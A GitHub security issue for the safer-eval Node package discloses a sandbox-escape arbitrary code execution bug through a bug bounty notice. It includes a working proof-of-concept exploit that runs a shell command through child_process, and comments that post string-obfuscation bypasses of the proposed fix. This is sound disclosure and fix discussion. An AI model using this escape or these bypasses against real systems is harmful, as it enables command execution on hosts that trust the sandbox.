safer-eval icon indicating copy to clipboard operation
safer-eval copied to clipboard

Security Notice & Bug Bounty - Arbitrary Code Execution - huntr.dev

Open huntr-helper opened this issue 5 years ago • 3 comments

Overview

safer-eval is a safer approach for eval in node and browser.

Affected versions of this package are vulnerable to Arbitrary Code Execution via generating a RangeError: Maximum call stack size exceeded.

Proof of Concept (Credit: Jonathan Leitschuh)

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){}
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

huntr-helper avatar Jun 12 '20 11:06 huntr-helper

‎‍🛠️ A fix has been provided for this issue. Please reference: https://github.com/418sec/safer-eval/pull/1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.

huntr-helper avatar Aug 03 '20 11:08 huntr-helper

Thanks for your contribution. I really honor your efforts. Nonetheless a breakout from the VM is still possible. The only limitation is that child_process is somehow prevented to be required. If someone tries to obfuscate require("child_process") (greetings from white-space or brain fuck) or uses ES5 import statement together with node@>=10 experimental flags we will be facing the same issue again.

commenthol avatar Aug 05 '20 19:08 commenthol

Right, something as simple as require("child_" + "process") will still enable "breaking out". I don't think the proposed solution solves the core issue.

A slightly more robust way of fixing (in line with the proposed solution) would be to build an AST of the provided code and check the strings it contains. This would solve the obfuscated strings issue, but would not catch more complex hacks like:

var child = "child";
var process = "process";
var cp = require([child, process].join("_"))

stephenmathieson avatar Sep 03 '20 23:09 stephenmathieson